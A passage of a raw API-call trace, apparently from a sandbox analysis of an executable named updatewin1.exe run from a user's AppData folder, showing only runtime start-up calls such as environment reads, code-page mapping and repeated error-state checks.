GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0052.830] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0052.830] SetHandleCount (uNumber=0x20) returned 0x20 [0052.830] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" " [0052.830] GetEnvironmentStringsW () returned 0x4f4e70* [0052.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0052.831] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x0, Size=0x565) returned 0x3111f8 [0052.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x3111f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0052.831] FreeEnvironmentStringsW (penv=0x4f4e70) returned 1 [0052.831] GetLastError () returned 0x0 [0052.831] SetLastError (dwErrCode=0x0) [0052.831] GetLastError () returned 0x0 [0052.831] SetLastError (dwErrCode=0x0) [0052.831] GetLastError () returned 0x0 [0052.831] SetLastError (dwErrCode=0x0) [0052.831] GetACP () returned 0x4e4 [0052.831] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x0, Size=0x220) returned 0x311768 [0052.831] GetLastError () returned 0x0 [0052.831] SetLastError (dwErrCode=0x0) [0052.831] IsValidCodePage (CodePage=0x4e4) returned 1 [0052.831] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0052.831] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0052.831] GetLastError () returned 0x0 [0052.831] SetLastError (dwErrCode=0x0) [0052.831] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0052.831] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.831] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.831] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0052.831] GetLastError () returned 0x0 [0052.832] SetLastError (dwErrCode=0x0) [0052.832] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0052.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ僡覿㞕AĀ") returned 256 [0052.832] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ僡覿㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0052.832] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ僡覿㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ/N#\x8a\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0052.832] GetLastError () returned 0x0 [0052.832] SetLastError (dwErrCode=0x0) [0052.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ僡覿㞕AĀ") returned 256 [0052.832] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ僡覿㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0052.832] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ僡覿㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0052.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ/N#\x8a\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0052.832] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe")) returned 0x5f [0052.832] GetLastError () returned 0x0 [0052.832] SetLastError (dwErrCode=0x0) [0052.832] GetLastError () returned 0x0 [0052.832] SetLastError (dwErrCode=0x0) [0052.832] GetLastError () returned 0x0 [0052.832] SetLastError (dwErrCode=0x0) [0052.832] GetLastError () returned 0x0 [0052.832] SetLastError (dwErrCode=0x0) [0052.832] GetLastError () returned 0x0 [0052.832] SetLastError (dwErrCode=0x0) [0052.832] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.833] SetLastError (dwErrCode=0x0) [0052.833] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.834] SetLastError (dwErrCode=0x0) [0052.834] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.835] SetLastError (dwErrCode=0x0) [0052.835] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.836] SetLastError (dwErrCode=0x0) [0052.836] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.837] SetLastError (dwErrCode=0x0) [0052.837] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.838] SetLastError (dwErrCode=0x0) [0052.838] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.839] SetLastError (dwErrCode=0x0) [0052.839] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x0, Size=0x68) returned 0x311990 [0052.840] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] GetLastError () returned 0x0 [0052.840] SetLastError (dwErrCode=0x0) [0052.840] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] SetLastError (dwErrCode=0x0) [0052.841] GetLastError () returned 0x0 [0052.841] 